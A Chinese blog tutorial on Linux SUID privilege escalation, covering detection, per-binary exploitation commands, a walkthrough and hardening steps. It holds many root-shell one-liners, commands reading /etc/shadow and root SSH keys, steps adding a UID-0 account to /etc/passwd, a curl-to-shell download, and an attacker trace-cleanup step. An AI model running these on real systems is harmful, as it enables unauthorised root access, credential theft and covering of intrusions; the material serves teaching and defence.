2026-09-06
top10漏洞常见基础讲解
00
请注意,本文编写于 69 天前,最后修改于 69 天前,其中某些信息可能已经过时。

目录

一、什么是 SUID?
1.1 Linux 的权限世界
1.2 SUID 是什么?
1.3 SUID 长什么样?
1.4 正常的 SUID 程序
二、什么是 SUID 提权?
2.1 核心原理
2.2 为什么也叫"SUID 提权"?
2.3 一个程序能被 SUID 提权的条件
三、如何发现 SUID 提权?
3.1 手动扫描
3.2 看懂扫描结果
3.3 自动化工具
LinPEAS(最常用)
suid3num
其他辅助命令
四、常见 SUID 提权命令详解
4.1 find 提权(最经典)
4.2 vim 提权
4.3 nano 提权
4.4 Python 提权
4.5 PHP 提权
4.6 bash 提权
4.7 cp 提权
4.8 mv 提权
4.9 其他常见命令提权
less / more(分页器)
awk
sed
nmap(旧版本)
base64
五、SUID 提权方法分类总结
六、实战演练:从发现到提权
步骤 1:信息收集
步骤 2:识别可疑目标
步骤 3:验证
步骤 4:提权
步骤 5:清理痕迹(攻击者视角)
七、如何修复和防御?
7.1 立即行动:扫描和清理
7.2 建立白名单
7.3 使用 Capabilities 替代 SUID
7.4 代码层面加固
7.5 部署强制访问控制
7.6 定期审计
7.7 禁用 SUID Core Dump
八、GTFOBins:你的提权字典
九、小白速查表
发现阶段
利用阶段
修复阶段
十、总结

SUID 提权原理,利用,常见命令,以及修复方式


一、什么是 SUID?

1.1 Linux 的权限世界

在 Linux 里,每个文件都有"主人"(用户)和"权限"(读/写/执行)。普通用户运行程序时,这个程序只能以普通用户的身份干活。

比如:

  • 你是 user(UID=1000)
  • 你运行 cat,这个 cat 进程也是 user 身份
  • 所以 cat 读不了 /etc/shadow(只有 root 能读)

1.2 SUID 是什么?

SUID(Set User ID,设置用户 ID)是 Linux 文件权限中的一个"特殊位"。它的效果就像一张变身卡:

如果一个程序被设置了 SUID,那么任何人运行它时,都会临时变成这个程序主人的身份来执行。

生活中的类比:

  • 普通员工进不了老板办公室
  • 但老板给了前台一张"万能门禁卡"(SUID)
  • 任何人拿到这张卡,都能刷开老板办公室的门
  • 问题是:这张卡被谁捡到了都能用!

1.3 SUID 长什么样?

用 ls -l 查看文件权限时,SUID 会在所有者执行位显示为 s:

bash
-rwsr-xr-x 1 root root 123456 Jan 1 00:00 /usr/bin/passwd # ↑ 这个 s 就是 SUID 标志!

正常权限是 rwx(读、写、执行),SUID 把 x 变成了 s。

1.4 正常的 SUID 程序

有些程序必须有 SUID 才能正常工作,比如:

程序为什么需要 SUID
/usr/bin/passwd普通用户要修改 /etc/shadow(只有 root 能写)
/usr/bin/sudo普通用户需要临时提升权限
/bin/ping需要创建原始网络套接字(raw socket)
/bin/su切换用户身份

这些是正常的、安全的。


二、什么是 SUID 提权?

2.1 核心原理

SUID 提权的本质就一句话:

借 root 身份的"壳",执行攻击者控制的"魂"。

当管理员错误地给一个不该有 SUID 的程序设置了 SUID 位,且这个程序的主人还是 root 时,攻击者就能:

  1. 以普通用户身份运行这个程序
  2. 程序启动后,进程的有效身份变成 root
  3. 利用程序的功能(执行命令、读写文件等)
  4. 以 root 身份完成提权

2.2 为什么也叫"SUID 提权"?

严格来说:

  • SUID 提权 = 大类(所有利用错误配置 SUID 的提权方式)
  • find 提权 / vim 提权 / python 提权 = 小类(具体利用哪个程序)

它们都属于 SUID 提权这个大家族。

2.3 一个程序能被 SUID 提权的条件

  1. 文件主人是 root(或更高权限用户)
  2. 被设置了 SUID 位
  3. 程序有办法执行外部命令(如 -exec、内置 shell、解释器等)

三、如何发现 SUID 提权?

3.1 手动扫描

bash
# 查找系统中所有 SUID 文件 find / -perm -4000 -type f 2>/dev/null # 或更精确的写法 find / -perm -u=s -type f 2>/dev/null

-perm -4000 表示查找权限中包含 SUID 位的文件。

3.2 看懂扫描结果

执行后你会看到类似这样的输出:

bash
-rwsr-xr-x 1 root root 64424 Mar 23 2022 /usr/bin/passwd ← 正常 -rwsr-xr-x 1 root root 232536 Feb 8 2022 /usr/bin/sudo ← 正常 -rwsr-xr-x 1 root root 123456 Jan 1 2022 /usr/bin/find ← 🚨 异常! -rwsr-xr-x 1 root root 234567 Jan 1 2022 /usr/bin/vim ← 🚨 异常! -rwsr-xr-x 1 root root 345678 Jan 1 2022 /usr/bin/python3 ← 🚨 异常!

正常该有的(系统自带,一般安全):

  • /usr/bin/passwd、/usr/bin/sudo、/bin/ping、/bin/su、/bin/mount

不该有的(一看到就要警惕):

  • /usr/bin/find、/usr/bin/vim、/usr/bin/nano
  • /usr/bin/python*、/usr/bin/php*、/usr/bin/perl
  • /bin/bash、/bin/cp、/bin/mv
  • /usr/bin/less、/usr/bin/more、/usr/bin/awk、/usr/bin/sed
  • /usr/bin/nmap、/usr/bin/base64

3.3 自动化工具

LinPEAS(最常用)

bash
# 下载并运行 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

LinPEAS 会自动扫描 SUID 文件,并用颜色标记风险等级。

suid3num

专门用于枚举和分析 SUID 文件的工具,会尝试自动匹配 GTFOBins 数据库。

其他辅助命令

bash
# 查看某个文件是否有 SUID ls -la /usr/bin/find # 查看 SUID 文件的详细信息 stat /usr/bin/find # 查看当前用户的 sudo 权限(配合 SUID 一起查) sudo -l

四、常见 SUID 提权命令详解

⚠️ 重要声明:以下所有利用方式的前提是——该程序被错误设置了 SUID 位,且所有者为 root。正常系统上这些命令是安全的!

4.1 find 提权(最经典)

原理:find 的 -exec 参数可以在找到文件后执行任意命令。如果 find 有 SUID,执行的命令就是 root 身份。

利用方式 1:直接弹 Shell

bash
find / -exec /bin/sh -p \; # 或 find . -exec /bin/bash -p \;

-p 参数保持特权,防止 shell 自动降级。

利用方式 2:执行单条命令

bash
find /etc/passwd -exec whoami \; # 输出 root find /etc/passwd -exec id \; # 输出 uid=0(root)

利用方式 3:读取敏感文件

bash
find /etc/passwd -exec cat /etc/shadow \; find /etc/passwd -exec cat /root/.ssh/id_rsa \;

利用方式 4:写入恶意文件

bash
find /etc/passwd -exec bash -c 'echo "hacker::0:0:::/bin/bash" >> /etc/passwd' \;

4.2 vim 提权

原理:vim 内置了执行 shell 命令的功能(:!command)。vim 有 SUID 时,这些命令以 root 运行。

利用方式 1:直接弹 Shell

bash
vim -c ':!/bin/bash'

启动 vim 时直接执行 :!/bin/bash。

利用方式 2:Python 模块(如果 vim 支持 Python)

bash
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "/bin/bash")'

在 vim 里调用 Python,把 UID 改成 0,再启动 bash。

利用方式 3:在 vim 内部手动执行

bash
vim # 进入 vim 后输入: :!/bin/bash

4.3 nano 提权

原理:nano 能读写任意文件,也能执行外部命令。

利用方式 1:修改 /etc/passwd(最稳妥)

先生成密码哈希:

bash
openssl passwd 123456 # 输出:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/

用 nano 打开 /etc/passwd,添加一行:

bash
nano /etc/passwd # 添加: hacker:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash

保存后 su hacker,输入密码 123456 就是 root。

利用方式 2:尝试弹 Shell(部分系统有效)

bash
nano # 按 Ctrl+R 然后 Ctrl+X # 输入:reset; sh 1>&0 2>&0

注意:较新系统上可能受限,GTFOBins 标注为 "Limited SUID"。


4.4 Python 提权

原理:Python 是完整的编程语言,有 os 模块可直接执行系统命令。

bash
# 方式 1 python -c 'import os; os.execl("/bin/sh", "sh", "-p")' # 方式 2 python -c 'import os; os.system("/bin/bash -p")' # 方式 3(更完整) python -c 'import os; os.setuid(0); os.system("/bin/bash")'

4.5 PHP 提权

原理:PHP 也能执行系统命令。

bash
# 方式 1 php -r 'system("/bin/bash -p");' # 方式 2 php -r 'exec("/bin/sh -p");' # 方式 3(需要 pcntl 扩展) php -r 'pcntl_exec("/bin/sh", ["-p"]);'

4.6 bash 提权

原理:bash 本身就是 shell。有 SUID 时直接运行即可。

bash
/bin/bash -p

⚠️ 关键:不加 -p 的话,现代 bash 会检测到自己是 SUID 启动的,自动把权限降到普通用户。加了 -p 才保持 root。


4.7 cp 提权

原理:cp 有 SUID 意味着可以以 root 身份复制、覆盖任何文件。

方式 1:覆盖 /etc/passwd

bash
cat /etc/passwd > /tmp/passwd.new echo 'hacker:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash' >> /tmp/passwd.new cp /tmp/passwd.new /etc/passwd su hacker

方式 2:给 bash"传染"SUID

bash
cp /bin/bash /tmp/bash cp --attributes-only --preserve=all /bin/cp /tmp/bash /tmp/bash -p

这样 /tmp/bash 就拥有了和 cp 一样的 SUID + root 所有权。


4.8 mv 提权

原理:mv 有 SUID 时可以以 root 身份替换任何文件。

bash
# 准备好恶意 passwd echo 'hacker:$1$OIcK5E2B$cxptzlqgqFr0ag2xNnKrF/:0:0:root:/root:/bin/bash' > /tmp/passwd_evil mv /tmp/passwd_evil /etc/passwd su hacker

也可以替换:

  • /etc/crontab(添加定时任务)
  • /etc/sudoers(给自己加 sudo 权限)
  • /root/.ssh/authorized_keys(替换 SSH 公钥)

4.9 其他常见命令提权

less / more(分页器)

bash
less /etc/passwd # 在 less 里输入: !/bin/bash

awk

bash
awk 'BEGIN {system("/bin/bash")}'

sed

bash
sed -n '1e exec /bin/sh 1>&0' /etc/passwd

nmap(旧版本)

bash
nmap --interactive !sh

新版 nmap 已移除交互模式。

base64

bash
# 读取 /etc/shadow(base64 编码后输出) base64 /etc/shadow | base64 -d

虽然不能直接弹 shell,但可以读取敏感文件。


五、SUID 提权方法分类总结

利用类型代表命令核心思路
Shell 逃逸find, vim, bash, less, nmap利用程序内置功能执行 shell 命令
文件读写cp, mv, nano, vim, base64以 root 身份读写系统关键文件
解释器执行python, php, perl, awk, sed利用图灵完备语言执行任意代码
权限传染cp把 SUID 属性复制给其他程序

六、实战演练:从发现到提权

步骤 1:信息收集

bash
# 查看当前身份 whoami id # 查找 SUID 文件 find / -perm -4000 -type f 2>/dev/null

步骤 2:识别可疑目标

发现 /usr/bin/find 有 SUID,且所有者是 root。

步骤 3:验证

bash
find /etc/passwd -exec whoami \; # 输出:root ← 确认可以提权!

步骤 4:提权

bash
find / -exec /bin/bash -p \; # 拿到 root shell id # uid=0(root) gid=0(root)

步骤 5:清理痕迹(攻击者视角)

bash
history -c rm -rf /tmp/*

七、如何修复和防御?

7.1 立即行动:扫描和清理

bash
# 1. 扫描所有 SUID 文件 find / -perm -4000 -type f 2>/dev/null # 2. 移除不必要的 SUID chmod u-s /usr/bin/find chmod u-s /usr/bin/vim chmod u-s /usr/bin/nano chmod u-s /usr/bin/python3 chmod u-s /usr/bin/php chmod u-s /bin/bash chmod u-s /bin/cp chmod u-s /bin/mv chmod u-s /usr/bin/less chmod u-s /usr/bin/more chmod u-s /usr/bin/awk chmod u-s /usr/bin/sed

7.2 建立白名单

只允许以下程序保留 SUID:

  • /usr/bin/passwd
  • /usr/bin/sudo
  • /bin/su
  • /bin/ping(部分系统已改用 capabilities)

其他全部移除!

7.3 使用 Capabilities 替代 SUID

Capabilities 是更细粒度的权限控制,可以只给程序需要的特定权限,而不是全部 root 权限。

bash
# 查看文件的 capabilities getcap /usr/bin/ping # 给程序设置特定 capability(如允许创建 raw socket) setcap cap_net_raw+ep /usr/bin/myprogram # 移除 SUID,改用 capabilities chmod u-s /usr/bin/ping setcap cap_net_raw+ep /usr/bin/ping

7.4 代码层面加固

如果你是开发者,写了一个需要 SUID 的程序:

  1. 使用绝对路径调用外部命令

    c
    // 错误 system("ifconfig"); // 正确 system("/sbin/ifconfig");
  2. 尽早降权:用完 root 权限后,立即 setuid(getuid()) 回到普通用户身份

  3. 清理环境变量:清除 PATH、LD_PRELOAD、LD_LIBRARY_PATH 等可能被利用的变量

  4. 验证输入:对所有用户输入做严格校验

7.5 部署强制访问控制

使用 AppArmor 或 SELinux 限制 SUID 程序的行为:

bash
# Ubuntu 默认启用 AppArmor aa-status # 为自定义 SUID 程序编写 tight profile

即使 SUID 被利用,MAC 也能限制它能访问的文件和执行的操作。

7.6 定期审计

bash
# 创建 SUID 基线 find / -perm -4000 -type f 2>/dev/null > /root/suid_baseline.txt # 定期对比 find / -perm -4000 -type f 2>/dev/null | diff - /root/suid_baseline.txt

7.7 禁用 SUID Core Dump

防止通过 core dump 泄露 SUID 进程的敏感信息:

bash
echo 0 > /proc/sys/fs/suid_dumpable # 持久化 echo "fs.suid_dumpable = 0" >> /etc/sysctl.conf sysctl -p

八、GTFOBins:你的提权字典

GTFOBins 是一个开源项目,专门收录了各种 Unix 二进制文件在 SUID、sudo、capabilities 等场景下的滥用方法。

🔗 官网:https://gtfobins.github.io/

使用方法:

  1. 发现可疑 SUID 程序(如 /usr/bin/base64)
  2. 打开 GTFOBins,搜索 base64
  3. 点击 SUID 标签,复制命令直接利用

对防守方同样重要:在设置任何 SUID 之前,先去 GTFOBins 查一下,如果它在列表里,绝对不要设 SUID。


九、小白速查表

发现阶段

bash
find / -perm -4000 -type f 2>/dev/null # 找 SUID ls -la <file> # 确认 SUID sudo -l # 查 sudo 权限

利用阶段

程序一键提权命令
findfind / -exec /bin/sh -p \;
vimvim -c ':!/bin/bash'
nanonano /etc/passwd → 添加 UID=0 用户
pythonpython -c 'import os; os.execl("/bin/sh","sh","-p")'
phpphp -r 'system("/bin/bash -p");'
bash/bin/bash -p
cpcp /tmp/passwd_evil /etc/passwd
mvmv /tmp/passwd_evil /etc/passwd
lessless /etc/passwd → !/bin/bash
awkawk 'BEGIN{system("/bin/bash")}'
nmapnmap --interactive → !sh

修复阶段

bash
chmod u-s <file> # 移除 SUID setcap <cap>+ep <file> # 改用 capabilities getcap -r / 2>/dev/null # 审计 capabilities

十、总结

┌─────────────────────────────────────────────────────────────┐ │ SUID 提权核心逻辑: │ │ 1. 管理员给程序"开挂"(SUID + root 所有权) │ │ 2. 攻击者发现这个"挂" │ │ 3. 借程序的 root 身份执行命令/读写文件 │ │ 4. 成功提权 │ ├─────────────────────────────────────────────────────────────┤ │ 防守核心原则: │ │ • 能不设 SUID 就不设 │ │ • 能设 capabilities 就不设 SUID │ │ • 定期审计,建立白名单 │ │ • 写 SUID 程序时尽早降权、用绝对路径 │ └─────────────────────────────────────────────────────────────┘

参考资源: